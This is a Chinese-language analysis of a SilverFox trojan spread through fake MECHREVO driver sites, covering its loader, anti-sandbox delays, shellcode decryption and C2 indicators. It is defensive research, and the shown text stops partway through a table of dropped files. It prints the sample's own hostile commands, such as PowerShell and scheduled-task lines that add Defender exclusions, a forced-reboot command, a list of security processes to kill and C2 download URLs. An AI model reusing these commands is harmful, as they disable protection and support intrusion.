恶意木马分析记录(银狐)

记录一次恶意程序分析

事情是这样的 —— 最近发现有顶着机械革命驱动的恶意网站出现,当搜索机械革命驱动会发现两个伪装网站:

两个网站几乎长得也差不多,对两个假网站进行一下查询:

尝试下载驱动,两个网站长得也接近,甚至下载的压缩包文件名都一样,不过第一个网站会因为edge拦截而下载失败

解压后计算一下Hash,然后上传到微步分析一下

1.盗用签名

解压的时候卡巴直接就把 exe 删了,说明这个文件本身就有问题。退出卡巴重新解压后开始分析。

项目	值
压缩包	`install_s.6.06.zip`(3,360,857 字节) MD5 `02E04E63F242775609DC450D2BE23FF0`
里面唯一文件	`install_s.6.06.exe`(25,801,536 字节) MD5 `D6E55761DBFA2CDAAC8BE5BA22E39847` SHA256 `7B08F5CC5F06BB8019310967D1B4AD103E72720E2D165B9ED2F9BD503F513697`

Get-AuthenticodeSignature 一看:

Status  : HashMismatch      ← 有签名,但内容被改过,签名对文件无效
Subject : E=it@axiomjdk.ru, CN=AXIOM JSC, OU=Development, O=AXIOM JSC,
          L=Saint Petersburg, C=RU
Issuer  : CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
有效期  : 2024-12-10 ~ 2027-11-22
指纹    : 490C05588DC2E1B23C6C8A507F2FECAC454865A0

签名主体是俄罗斯圣彼得堡的 AXIOM JSC(axiomjdk.ru,一家 JDK 发行商),和"机械革命驱动"八竿子打不着。典型的证书被滥用/被盗用,或者拿一个合法签过名的程序改完再发。

顺便看资源里的版本信息:

字段	值
CompanyName	`OpenIDE`
FileDescription	`Filesystem events processor`
FileVersion	`14.0.0.20`
InternalName / OriginalFilename	`.exe`
manifest	`level='asInvoker'`(不请求管理员)

Filesystem events processor 是 JetBrains fsnotifier.exe 的描述文本。真驱动安装器不可能只要 asInvoker,不弹 UAC 才是它的目的。

PE 头也被动过:

DllCharacteristics = 0x8020 → NX_COMPAT 和 DYNAMIC_BASE 都被清掉了(现代 MSVC 默认是开的)
头里的 CheckSum 0x00035504 和实际算出来的 0x018A89DB 对不上

2.25MB 的 .data

节表一看就明白了:

节	虚拟大小	熵	说明
`.text`	0x1A430(107 KB)	6.49	代码
`.rdata`	0xABFE(44 KB)	5.04	只读数据 + 全部 unwind 信息
`.data`	0x1873008	3.06	25,626,624 字节 = 整个文件的 99.3%
`.pdata` / `_RDATA` / `.rsrc` / `.reloc`	很小	—	—

.data 的熵只有 3.06,里面有一块 2.2MB 的连续零区,还有一大堆从别的软件里抠出来的字符串:

VTK:?AVvtkOpenGLInstanceCulling@@、?AVvtkLightsPass@@
DAVA 引擎 / 游戏 Crossout:wheel01st-ru.crossout.net
NVIDIA PhysX:Desc@physx@@
Ryujinx 模拟器:Ryujinx.Headless.SDL2.dll
Go 模块路径:github.com(61 次)、golang.org、go.opencensus.io
conda 构建路径:D:/bld/hdf5_split_1671624052658/_h_env/Library/lib/libssl.lib
OpenSSL:rsa\rsa_eay.c

全文件扫下来只有一个 PE 头,没有任何有效的嵌入式 EXE。把文件填充到 25MB 纯粹是为了"文件膨胀",绕过云端哈希查询、上传体积上限和沙箱仿真时间预算。 这段 .data 本身不参与运行。

3. `.pdata` 异常12KB记录

.pdata(异常目录)里有 432 条函数记录:

函数起始地址所在段分布: {'.text': 432}
函数地址范围: 0x140004000 - 0x14001b410
unwind 信息所在段: {'.rdata'}  (0x140024F10 - 0x140025760)

所有的真实函数都在 0x140004000 以后。而入口点所在的那一段 0x140001119 ~ 0x140003FFF

一条 unwind 记录都没有也就是说这 12KB 不是编译出来的,是后注入的

4.入口被劫持 + 两级反沙箱延时

正常的 MSVC x64 入口长这样:

start: sub rsp,28h ; call __security_init_cookie ; jmp __scrt_common_main_seh

样本入口:

140005930  sub  rsp, 28h
140005934  call sub_140005B94        ; __security_init_cookie(标准实现,没改)
140005939  add  rsp, 28h
14000593d  jmp  140001119            ; 被改成跳进注入区,而不是 __scrt_common_main_seh

跳进去以后:

140001119  push rbp / mov rbp,rsp / sub rsp,48h
           ; --- 28 字节垃圾指令(成对 no-op,专门破坏反汇编和静态特征) ---
140001121  add  rax, 8
140001125  xor  ecx, ecx
140001127  sub  rsp, 10h
14000112b  xor  r8d, 6C65746Eh       ; "ntel" —— CPUID 厂商串检测,被成对异或抵消
140001132  xor  r8d, 6C65746Eh
140001139  add  rax, 8
           ; --- 延时①:RDTSCP 忙等 40 亿周期 ---
14000113d  call sub_140001159
140001142  test rax, rax
140001145  jz   short loc_14000114C
140001147  jmp  loc_140001412        ; 实际走这里

延时例程 sub_140001159(地址与常量均按实测反汇编逐个核对过):

14000116d  mov  r14, rax             ; r14 = 进入时的 TSC
14000117f  mov  r13, 0EE6B2800h      ; 4,000,000,000
140001189  rdtscp / shl rdx,20h / or rax,rdx
140001197  sub  rax, r14             ; 已经流逝多少周期
14000119a  cmp  rax, r13
14000119d  jb   short 140001189      ; 忙等到满 40 亿周期
1400011a5  mov  r11, 10h             ; 外层 16 轮
1400011ac  mov  r9, 4E8A0C3h         ; 82,354,371(每轮都重新装载)
1400011b6  lea  r9,[r9-1] / test r9,r9 / jnz 1400011B6   ; 内层空转
1400011c5  dec  r11 / jnz 1400011AC  ; 回到装载处,共 16 轮
1400011ca  mov  rax, 2 / retn        ; 恒返回 2

延时②是跳转链拆散的计数器忙等 —— 循环的三条指令被拆到相距 0x1300 多字节的三个地方,故意打断反汇编和特征匹配:

140001412  mov  rcx, 15EEEAB7h       ; 367,979,191
140001419  jmp  loc_140001506
140001506  dec  rcx                  ; ← 循环体①
140001509  jmp  loc_140002832        ; ← 循环体②
140002832  jne  loc_140001506        ; ← 循环体③,跳回 0x1506
140002838  call 1400037A8            ; 前置初始化
14000283d  call 140003BD4            ; shellcode 加载器

这套东西的目的非常清楚:耗光沙箱/仿真器的时间预算,让自动化分析在真正干活之前就超时退出。

那到底延迟多久?

先看循环次数,这些是硬编码常量:

阶段	机制	循环次数
①	RDTSCP 忙等到 TSC 走满 `0xEE6B2800`	4,000,000,000 个 TSC 周期
②	16 轮 × 每轮 `0x4E8A0C3` 次 `lea/test/jnz`	16 × 82,354,371 = 1,317,669,936 次
③	`dec rcx / jmp / jne` 跳转链	`0x15EEEAB7` = 367,979,191 次
合计		16.86 亿次循环 + 40 亿 TSC 周期

再看实际耗时 —— 这一步取决于跑在什么上面,差距极大:

运行环境	估算耗时	说明
原生桌面(3–4 GHz)	约 2 – 4 秒	① 用 TSC,现代 CPU 的 TSC 是固定标称频率(通常 2–3 GHz),40 亿周期 ≈ 1.3–2.0 s;②③ 按 1–3 cycle/次算
虚拟机 / 低频 vCPU(2 GHz)	约 3 – 5 秒	TSC 频率更低,指令吞吐也更差
指令级仿真 / 沙箱仿真	几十秒到十几分钟	16.9 亿次循环 ≈ 50 亿条指令,仿真器按 10–100 MIPS 算就是 50 秒 ~ 500 秒

5.payload加载器(注入区 0x140003BD4)

xor  ecx, ecx
mov  edx, 0DE77h                     ; 大小 = 56,951 字节
add  r8d, 3000h                      ; MEM_COMMIT|MEM_RESERVE
or   r9d, 40h                        ; PAGE_EXECUTE_READWRITE (RWX)
call qword [rip+186CDh]              ; → Kernel32!VirtualAlloc
mov  r12, rax
lea  rsi, [rip+25303h]               ; → 140028F10 = .data+0x1F10  payload源
mov  ecx, 0DE77h
cld
rep  movsb                           ; 拷贝 shellcode 到 RWX 内存
jmp  r12                             ; 直接执行

VirtualAlloc(RWX) + rep movsb + jmp —— 教科书式的 shellcode 执行链,而且这段代码位于没有 .pdata 记录的注入区,恶意行为定性没问题。

6.解shellcode

.data+0x1F10(文件偏移 0x27510)有 56,951 字节,熵 7.997(基本拉满,完全加密)。

头 5 个字节是 E8 24 DE 00 00 = call +0xDE24 → 跳到缓冲区末尾的自修改 stub:

; 尾部 stub(0xDE29)
rcr  r10, 0                          ; 垃圾
pop  r14                             ; r14 = 缓冲区+5(call 的返回地址)
cmovp rax, rax                       ; 垃圾
sub  dword [r14],    5BFB22E0h       ; 对自身前 5 个 dword 做变换
sar  rdx, 0                          ; 垃圾
rol  dword [r14+4],  67h
jmp  +1 / 垃圾字节                    ; 反汇编干扰
ror  dword [r14+8],  1Ah
cmovp r11, r11                       ; 垃圾
ror  dword [r14+0Ch], 0A0h
jmp  r14                             ; 跳回已解码的前置代码
       ; 后面还有一连串 41 FF E1/E2/E4/E5 (jmp r9/r10/r12/r13) 全是诱饵

把 5 个 dword 按上面的变换逆回去(注意 rol [r14+10h],0D8h 在 jmp r14 之后,是诱饵不执行),得到真实前置代码:

41 B0 D7                 mov  r8b, 0D7h        ; 初始密钥
48 C7 C1 09 DE 00 00     mov  rcx, 0DE09h      ; 长度 56,841
48 8D 3D 09 00 00 00     lea  rdi, [rip+9]     ; rdi = 缓冲区+0x1F
loop:
  44 30 04 0F            xor  byte [rdi+rcx], r8b      ; 解密
  44 02 04 0F            add  r8b, [rdi+rcx]          ; 滚动密钥:key += 刚解出的明文字节
  E2 F6                  loop loop                    ; rcx 递减 → 自尾向头

第一层:滚动密钥 XOR,初值 0xD7,从 0xDE28 往 0x1F 反向解,每解一字节 key 就加上该明文字节。

为了确认没解错,这段 shellcode 提取出来丢进 Unicorn里跑:

[crash-dump] 熵=7.387  前 32B=e8 24 de 00 00 41 b0 d7 48 c7 c1 09 de 00 00 48 8d 3d 09 00 00 00 ...
寄存器 rax=... rcx=... rdi=... r8=...
[未映射访问] access=19 addr=0x60 size=8 pc=0x1000cb54

写入次数 56,876 次,写地址从 0x…DE28 一路递减 —— 和循环完全吻合
解密后 0xBE2E–0xDE28 变成完全可读的代码
最后执行到 0xCB54 读 gs:[0x60](就是 PEB)时因为虚拟机里没有 OS 环境才停下

这也能证明第一层解对了。缓冲区尾部有一大片重复的 "eimnwyD4x4@e!c",这就是明文零填充被密钥异或后的结果。

7.第二层解密

解密后的 stage-2 是个 PEB 遍历加载器,核心在 0xC330:

HeapAlloc(GetProcessHeap(), 8, 0BE05h)      ; [rsp+0B8h]=0xBE05 大小
memcpy(buf, &stage2[0x29], 0BE05h)          ; 源 = 本缓冲区 +0x29
call 0D839h                                 ; 解密例程
VirtualProtect(buf, 0BE05h, PAGE_EXECUTE_READWRITE, &old)
call buf                                    ; 执行最终payload

0xD839 的算法是重复密钥 XOR:

keylen = strlen(key);               // key 在 [rsp+98h] 处逐字节构造
for (j = 0; j < size; j++)
    buf[j] ^= key[j % keylen];

密钥从 0xC0D4 处的构造序列里抠出来:

密钥长度=20  密钥='4@e!c!bSL2AeimnwyD4x'
源偏移=0x29  长度=0xBE05(48,645)
解密后长度=48645 熵=5.464      ← 从 7.96 掉到 5.46,明文了
前 64 字节(ASCII): . ...kernel32.dll.....v.pTE.....zopen........powershell.exe.....

最终payload(48,645 字节)已经解出来了,里面 kernel32.dll、powershell.exe、checktime.vbs、SOFTWARE\JDBCC 全是明文。

8.payload到底干了什么

1. 关掉 Windows Defender(两段完整 PowerShell)

try {$null = Set-CimInstance MSFT_MpPreference @{
    ExclusionPath = @('C:\','C:\Users','C:\Windows\Temp','C:\Windows',
                      'C:\ProgramData','C:\Program Files (x86)'); Force = $True}
    -Namespace root/Microsoft/Windows/Defender -EA 1
} catch {$host.SetShouldExit($_.Exception.HResult)}

powershell.exe Add-MpPreference -ExclusionPath 'C:\Windows','C:\Windows\Temp','C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force

直接把整个 C 盘加进 Defender 排除项。

2. 结束/干扰 20+ 种安全软件

用 CreateToolhelp32Snapshot+Process32First/Next 枚举进程、Thread32First/Next+PostThreadMessageA 投递线程消息、EnumWindows+FindWindowExA+PostMessageA+ChangeWindowMessageFilterEx 投递窗口消息、GenerateConsoleCtrlEvent 发 Ctrl-C:

目标	归属
`360tray.exe` `360sd.exe` `360safe.exe` `Q360SafeMonClass`(窗口类)	360
`HipsTray.exe` `HipsDaemon.exe`	火绒
`kxetray.exe` `KSafeTray.exe` `QHSafeTray.exe` `cefutil.exe`	金山
`Bka.exe` `BLuPro.exe` `BkavService.exe` `BkavUtil.exe`	Bkav
`msmpeng.exe` `NisSrv.exe` `MpDefenderCoreService.exe` `securityhealthsystray.exe` `mpcopyaccelerator.exe`	Defender 全家桶
`QQPCRTP.exe` `QQPCTray.exe`	腾讯电脑管家
`WXWork.exe`	企业微信(疑似窃密目标)

之前B站有些UP发现无法安装/运行杀毒软件就是因为这个原因

3. 掐断云查杀链路

Iphlpapi.dll!GetTcpTable2 → Ws2_32.dll!htonl / inet_ntop → Iphlpapi.dll!SetTcpEntry

枚举 TCP 连接表再写 MIB_TCP_STATE_DELETE_TCB → 强制重置 TCP 连接,专门用来掐断杀软和云端的通信。

4. 释放文件 + 持久化

类型	值
释放的脚本	`checktime.vbs` → `C:\Windows\Temp\` 或 `C:\Users\Public\`
VBS 模板	`Set WShell = CreateObject("WScript.Shell")` / `On Error Resume Next` / `WShell.Run """…""", 0, False` / `Set WShell = Nothing` / `WScript.Quit`(隐藏窗口 + 不等待)
注册表	`SOFTWARE\JDBCC`(出现 6 次,值名 `data`)
随机名文件	`ztgcta32.saa`、`ohc.ckk`、`SxIn.dll`、`<随机>.dat`、`ranchserv.jpg`
自拷贝	`GetModuleFileNameA` + `CreateFileA`/`WriteFile`/`FlushFileBuffers`
属性处理	`GetFileAttributesA` / `SetFileAttributesA` ← 就是它让文件"看不见"的

5. 关机/重启

OpenProcessToken + LookupPrivilegeValueA + AdjustTokenPrivileges → 启用 SeShutdownPrivilege
ExitWindowsEx / InitiateSystemShutdownExA
CreateProcessA: cmd.exe /c shutdown /r /f /t 0     ← 立即强制重启

6. 对抗分析

技术	证据
屏蔽 ETW 日志	`ntdll!LdrGetDllHandleEx`、`RtlImageDirectoryEntryToData`、`ntdll!VirtualProtect`、`EventRegister`、`NtTraceEvent` → 改 ETW 致盲 EDR/日志
高精度计时	`QueryPerformanceFrequency` / `QueryPerformanceCounter` / `GetTickCount64`
环境探测	`GetSystemInfo`
单实例互斥	`OpenMutexA` + 随机互斥名(`RgtpitBjitmP`、`VtiAphiTdg`…)
字符串混淆	字母表 +9 位移
无文件执行	`VirtualAlloc` / `VirtualAllocExNuma` / `VirtualProtect` + `call buf`

9.关于微步扫描报告

微步的报告在第二次扫描时分析出了归属,这是在分析前是不知道的(第一次跑的时间太短,要在微步设置为180秒,但疑似还是不会完全释放完文件):

项目	值
威胁分类	恶意软件
木马家族	SilverFox
场景标签	网络黑产
置信度	高风险
引擎检出	4 / 28
首次/末次分析	2026-09-18 / 2026-09-18 15:32:57
攻击载体标签	`M17pup.exe`、`UxEnhance64.dll`、`msadox.tb`、`adoresd.dat`
多维检测	MITRE ATT&CK 8 条技术指标(高危 5 · 可疑 10 · 通用 15)
Sigma 规则	命中 7 条

伪造网站这条和我们遇到的情况假冒机械革命驱动的网站(zh-mechrevo.com.cn / pc-mechrevo.com.cn)完全对的上

引擎检出明细

引擎	检出
卡巴斯基	`HEUR:Trojan-Dropper.Win32.Generic`
大蜘蛛 Dr.Web	`Trojan.DownLoader50.21633`
K7	`Trojan ( 006dede31 )`
熊猫 Panda	`Trj/GdSda.A`
微软 MSE	无检出
ESET / 小红伞 / Avast / AVG / GDATA / Sophos / 360 / 瑞星 / 江民 / 安天	全部无检出

检出率只有 4/28,而且微软和 360 都没报。这也解释了为什么这个样本能大摇大摆地在国内分发

格式信息

项目	值
编译时间戳	2025-04-22 22:04:16
链接器/编译器	Microsoft Linker 14.31.31107 / MSVC 19.31 (VS2022 17.1)
节区数量	7(与之前分析一致)
镜像基地址	`0x140000000`
入口所在段	`.text`(OEP `0x5930`)
导入表	只有 `KERNEL32.dll`,93 个函数
节区熵	`.text` 6.489 · `.rdata` 5.041 · `.data` 3.064

导入表只有 KERNEL32 —— 其余 API 全是运行时自己解析的(和之前分析的 PEB 遍历 + LdrGetDllHandleEx 完全吻合)。

10.C2 与网络行为

字符串混淆的手法很常见,是字母表整体 +9:

原始(混淆)	解码后
`ykkgj://`	`https://`
`.fjj-te-svzazex.rczpletj.tfd/`	`.oss-cn-beijing.aliyuncs.com/`

字母位移的对照:y→h、k→t、g→p、j→s(都是 +9,模 26)。

所以 C2 是:

https://<bucket>.oss-cn-beijing.aliyuncs.com/<path>

阿里云 OSS 北京节点。下载用的 API 也齐了:

wininet.dll!InternetOpenA → InternetOpenUrlA → InternetReadFile → InternetCloseHandle

<bucket> 和 <path> 是运行时拼的,静态文件里没出现完整串。样本里另有两串像 hex ID 的 26f3475fc22、48c47662941,可能是配套的桶名/对象名。用境内合规云存储做 C2/投递,是现在国内黑产很常见的手法,不容易被一刀切封域名。

两个 C2 域名(都是阿里云 OSS)

域名	微步判定	解析 IP	地理 / ASN	用途标签
`msi8s0.oss-cn-beijing.aliyuncs.com`	恶意(黑产团伙)	`61.135.144.223`	北京 · 4808 CHINA169-BJ	云服务 · 动态域名
`mm2027.oss-cn-hangzhou.aliyuncs.com`	恶意(银狐 · 黑产团伙)	`101.67.62.101`	浙江杭州 · 4837 CHINA169-Backbone	IDC 服务器 · Hosting

之前静态分析解出来的 https://<bucket>.oss-cn-beijing.aliyuncs.com/<path> 的 <bucket> 和 <path> 现在都对上了,而且还多了一个杭州节点的域名。

DNS 解析链

msi8s0.oss-cn-beijing.aliyuncs.com
  → CNAME  sc-2kwy.cn-beijing.oss-adns.aliyuncs.com
  → CNAME  sc-2kwy.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com
  → A      61.135.144.223

mm2027.oss-cn-hangzhou.aliyuncs.com
  → CNAME  sc-2c0z.cn-hangzhou.oss-adns.aliyuncs.com
  → CNAME  sc-2c0z.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com
  → A      101.67.62.101

典型的阿里云 OSS 传输加速/CNAME 链路。注意 gds.alibabadns.com —— 这是 DNS 层面的可靠特征,可以用来做检测。

HTTP 会话

进程	方法	状态	URL	目标
(5140) install_s.6.06.exe	GET	200	`https://msi8s0.oss-cn-beijing.aliyuncs.com:443/tad`	61.135.144.223:443
(5140) install_s.6.06.exe	GET	200	`https://msi8s0.oss-cn-beijing.aliyuncs.com:443/a.gif`	61.135.144.223:443
(5140) install_s.6.06.exe	GET	200	`https://msi8s0.oss-cn-beijing.aliyuncs.com:443/b.gif`	61.135.144.223:443
(5140) install_s.6.06.exe	GET	200	`https://msi8s0.oss-cn-beijing.aliyuncs.com:443/c.gif`	61.135.144.223:443
(5140) install_s.6.06.exe	GET	200	`https://msi8s0.oss-cn-beijing.aliyuncs.com:443/d.gif`	61.135.144.223:443

下载的"文件名"是 /tad、/a.gif~/d.gif —— 刻意用图片扩展名伪装成"下载了 5 个图",实际是分片下载后续模块。

流量统计(这条最关键)

进程	目标	上行	下行
`install_s.6.06.exe`(5140)	61.135.144.223:443	1.48 KB	8.17 MB
`M17pup.exe`(4380)	101.67.62.101:443	1.06 KB	4.39 MB

上行只有 1KB 左右,下行却有 8.17MB + 4.39MB。 说明这是纯下载型 C2:受害机基本不回传数据(至少这一步没有),只负责把后续模块拉下来。8.17MB 的下行量对得上刚释放的 UxEnhance64.dll(3.1MB)这类文件 —— stage-4 已经在沙箱里落地并执行了。

TLS 指纹(可用于流量侧检测)

类型	值
JA3	`0018203a836e558a618fced9422659e1`
JA3S	`c521f5ea368e8889e8763aa907390209`
TLS 版本 / 密码套件	771 (TLS 1.2) / `0xc027` = `TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256`
ClientHello 扩展	`0-5-10-11-13-35-23-65281`;曲线 `29-23-24`

JA3 固定不变,是很好的检测点 —— 非浏览器进程 + 这个 JA3 + 连 OSS 域名 = 直接告警。

11.沙箱抓包与内存取证

通过下载完整 PCAP和内存 dump额外挖到了几个新东西

素材	大小
`7b08f5cc….pcap.zip`	40,938,569	`decrypt_pcap.pcap`(解密后流量 14.3MB)、`dump.pcap`、`mitm_dump.pcap`
`7b08f5cc….dump.zip`	28,116,056	14 个内存区域,目录名就是该区域内容的 SHA256

1. 沙箱做了 MITM,HTTPS 是明文的

沙箱对 TLS 做了中间人解密,PCAP 里同时有 decrypt_pcap.pcap 和 mitm_dump.pcap,直接 tshark --export-objects http 就能把所有下载内容还原出来。

踩坑记录:导出的 a.gif/b.gif/c.gif/d.gif 一落地就被杀软锁死(读取时 PermissionError: Permission denied),因为它们本质是 PE。后来改用 tshark -T fields -e http.file_data 把响应体以十六进制读进内存,全程不落盘才绕过去。

2. 完整下载清单(11 个文件)

msi8s0.oss-cn-beijing.aliyuncs.com(阿里云 OSS 北京 · User-Agent: 3M)

路径	大小	真实格式	SHA256
`/tad`	768	纯二进制	`a5853e71449d55d779b2e361e0335ae067cb9269b4644a327f5ea03a5bcfba77`
`/a.gif`	140,021	JPEG 壳 + payload	`6349d18308f458ed290913068752471c453f1c9bbd472a73e9f92b444718bd4d`
`/b.gif`	3,256,757	JPEG 壳 + payload	`ea41d3b33fcf4929823c1a054d92208bb6275c3281da3b77d8a3521b261b2646`
`/c.gif`	9,286	JPEG 壳 + payload	`c0627c59e27a670503683d2c5c117e126f4969144815317540895066c819b6f6`
`/d.gif`	4,901,754	JPEG 壳 + payload	`f5bfec979b53dd7b0c467f06ade20b3b2a6a006f1f045530ada92f405b6510c2`
`/s.dat`	28,272	纯二进制	`22cfedf6394df6cbf66f957dd70215c5cad218537f7660588918fa25f3c84484`
`/s.jpg`	83,215	PNG 256×256 + payload	`71369dd8ef596d4eefaf21b831dc87f78eeaf2c3436eb95c24981a6d39151dd7`

mm2027.oss-cn-hangzhou.aliyuncs.com(阿里云 OSS 杭州 · User-Agent: GetData)

路径	大小	真实格式	SHA256
`/drops.jpg`	28,122	PNG 96×96 + payload	`a70e8f7d7d850f36f2c39d0d1b7dd964ddb15ee24755e660d14953665890d34a` ← 就是 `drops[1].jpg`
`/f.dat`	879	纯二进制	`2b712da245df9ec314512907e368fa5db7c49e560a1603df21359d70a71a73d8`
`/ooo.jpg`	151,485	BMP 33×21 24bpp + payload	`ae189baf29687f87ed89507d3901d15020b688683adaba04625d459363dabc19`
`/t2t.jpg`	4,813,749	JPEG 壳 + payload	`92e6e28fc18ad76305fb9661600a5496b64dd5cb1e60a8baf63053c032e37a9d`

北京桶合计 8,420,073 B(≈8.03 MB),杭州桶合计 4,994,235 B(≈4.76 MB),和流量统计里的 8.17 MB / 4.39 MB 对得上。

3. payload的伪装形态:固定"图片壳" + 高熵payload

把每个下载文件按图片格式解析一遍,规律非常整齐:

文件	壳(图像本体)	附着payload	附着段熵
`a/b/c/d.gif`、`t2t.jpg`	共用完全相同的 928 字节 JPEG 壳(715 B JPEG 头 + 213 B 扫描数据 + `ff d9` + 7 个 `00`)	其余全部	7.99
`/s.jpg`	8,505 B(256×256 PNG,`IEND` 结束)	74,710 B	7.997
`/drops.jpg`	1,483 B(96×96 PNG)	26,639 B	7.990
`/ooo.jpg`	2,154 B(BMP 头 54 B + 像素 2,100 B)	149,331 B	7.990

5 个 JPEG 载体用的是同一张 75×55 的缩略图当壳,字节级完全一致 —— 说明是工具批量生成的,不是真图片。
ff d9 之后直接接payload,文件结尾没有 EOI,证明并不是一个完整JPEG文件
全文件搜不到任何 MZ(连一个有效 PE 头都没有),附着段熵统一 7.99 —— payload是加密过的,不是单纯在图片后面拼 PE(参考图片隐写)
/ooo.jpg 的附着数据里能看到大片递增字节游程(4a 4b 4c 49 4e 4f 50、5e 5f 60 61 62 63…6e),这是 LZ 类压缩的典型痕迹, 所以大概率是压缩过的。

想拿到真正的释放文件内容,得先逆出 M17pup.exe 的解密算法。而 M17pup.exe 本身就在这批加密payload里

4. 内存 dump 把静态结论逐条验证了

内存 dump 的目录名就是内容 SHA256,所以能直接拿哈希比对:

区域	大小	是什么	验证了什么
`5140_4828_1`	56,951	stage-2 明文(哈希 `1f7c6a68…` 与离线解密结果逐位一致)	✅ 之前用 Unicorn 纯仿真解出来的 shellcode 是对的
`5140_4828_2`	48,645	全 `0x23` 的缓冲区	✅ `48,645 = 0xBE05`,正是 stage-3 的 `HeapAlloc(0xBE05)` 缓冲区,大小和静态分析完全吻合
`4380_3952_13/14/15/16`	822,965 ×4	M17pup.exe 的网络缓冲区	✅ 见下节
`4380_3952_8`	545,792	M17pup.exe 内存镜像(7 节)	✅ 含 `C:\Users\Public\CQALM9\M17pup.exe`、`*\MpDefenderCoreService.exe`
`4380_3952_9`	303,616	不是 PE,是 PIC shellcode	见下节
`5140_3340_46/47`	2,002,944 ×2	PE(9 节)	—
`5140_3340_50`	41,984	PE(8 节)	—
`4380_5824_12`	4,096	x64 代码片段	—

5. 内存里额外挖到的新东西

从 M17pup.exe 的网络缓冲区(4 × 822,965 B)里直接读到了明文:

内容	价值
`https://mm2027.oss-cn-hangzhou.aliyuncs.com/drops.jpg`	完整 URL
`https://mm2027.oss-cn-hangzhou.aliyuncs.com/f.dat`	完整 URL
`Host: mm2027.oss-cn-hangzhou.aliyuncs.com` + `User-Agent: GetData`	请求头原文
`SOFTWARE\JDBCC`	之前只在 stage-3 字符串里见过
`\??\C:\Users\Public\CQALM9`	NT 原生路径形式,说明走的是 `NtCreateFile` 这一级原生 API,普通文件监控会漏
`s3.oss-cn-hangzhou.aliyuncs.com`	新域名
`sc-2c0z.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com`	DNS CNAME 链,可作检测特征
完整 `SCHTASKS /Create … /TN "Task1" … reg add …Exclusions\Paths` 命令行(含 `C:\ProgramData`、`C:\Users`、`C:\Program Files (x86)` 三条)	持久化命令

另外 4380_3952_9 那个 303,616 字节的区域虽然以 MZ 开头,但其实是位置无关 shellcode:

e8 00 00 00 00        call $+5            ; 取当前地址
59                    pop  rcx
48 83 e9 09           sub  rcx, 9
48 8b c1              mov  rax, rcx
48 05 00 00 05 00     add  rax, 50000h    ; 加 0x50000 偏移
ff d0                 call rax
c3                    ret

典型的 PIC 取址 + 固定偏移自调用,MZ 是伪装的 DOS 头(骗文件类型识别)。

6. 内存里恢复了三个恶意模块(含一个解密的 8.5MB 后门 DLL)

为了把 M17pup.exe 找出来,把 dump 的 18 个区域逐个做了 PE 解析 + carve + 逐节哈希比对

但M17pup.exe 并不在不在 dump 里,18 个区域全部恢复(其中 4 个被卡巴当场删掉),没有任何一个的尺寸(135.83 KB)、节数(8)、子系统(GUI)对得上;把所有区域里每个 MZ 位置都 carve 出来逐个哈希,也没有。PCAP 里也没有它的明文 —— 只有加密载体 /a.gif(去掉 928 字节图片壳后正好 139,093 B,和 135.83 KB 高度接近),但各种常规手段都解不开:单字节 XOR、2/3/4/6/8/12/16 周期 XOR、zlib / gzip / raw-deflate、以及 Windows 原生 ntdll!RtlDecompressBuffer 的 LZNT1 / XPRESS LZ77 / XPRESS Huffman全部失败。结合下一条看到的 .mIL 节熵 8.000,payload应该是用了正经密码算法,不是简单混淆。

不过也不都是坏消息,找到了解密的模块本体:

区域	大小	是什么
`4380_3216_3` / `4380_3216_10` / `4380_3952_1`	8,919,040(×2) / 8,913,408	主后门 DLL(x64 · 10 节 · 2026-08-14 编译)
`4380_3952_8`	545,792	启动器 DLL(x64 · 7 节 · 2026-05-18 编译),内嵌一个 327,680 字节的 EXE
`4380_3952_8`@`0x2B400`	327,680	内嵌 EXE(控制台 · 2025-10-22 编译),带调试串 `[Main] Background thread started.`

这三个就是被卡巴删掉的那几个恶意文件。其中 8.5MB 那个是解密后的模块本体,所以里面全是明文:

cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM"
  /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\"
       /v \"%s\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F

—— 持久化命令的完整模板,%s 就是被逐个填进去的目标路径。之前只能从进程行为里看实例,现在是拿到模板了。

它的节表也能说明问题:.mIL 节 4,896,420 字节、熵 8.000(完全加密),.m*c 节 3,313,132 字节、熵 7.861 —— 说明这个模块自己还内嵌着下一层加密payload。而那些非常规节名(.m*c、.A{'、.mIL、.fptable)本身就是一种去特征化。

顺带排掉一个误判:5140_3340_46/47(各 2 MB,节名 RT .mrdata .00cfg)一开始看着可疑,但里面的字符串是 RTL: Edit ntos\rtl\generr.c、LdrpFindOrPrepareLoadingModule、lp01ntdll.dll —— 这是沙箱自己插桩过的 ntdll

这轮额外挖到的新 IOC:

类型	值	说明
计划任务(伪装)	`MicrosoftEdgeUpdateTaskMachineCore1{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}`	冒充 Edge 更新任务名 —— 之前只知道 `Task1`
注册表(持久化)	`Software\Microsoft\Windows\CurrentVersion\Run`	对应 Sigma 高危那条 `New RUN Key Pointing to Suspicious Folder`
模块名	`adoresd.dll`	`adoresd.dat` 对应的 DLL 名
GUID	`{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}`
调试串	`[Main] Background thread started.`	内嵌 EXE 里的

12.9 个释放文件

新报告 "释放文件(9)",全部标记为动态释放。这是之前完全缺失的部分:

#	路径	类型 / 大小	SHA256	释放进程	微步判定
1	`C:\Users\Public\CQALM9\M17pup.exe`	PE32+ GUI x64 · 8 节 · 135.83 KB	`676A2A7B94CA2F8EC76352EE656E4D075BB342BD7AD6EFBC7C19C060001EACE7`	`install_s.6.06.exe`(5140)	0/28 未知
2	`C:\Users\Public\CQALM9\UxEnhance64.dll`	PE32+ DLL GUI x64 · 9 节 · 3.1 MB	`68C968EF2B7A3ED16AB2C38A247EC990F7CAEFE9BAB94535053C18021DC75C3C`	`install_s.6.06.exe`(5140)	6/27 DLLhijack · 恶意
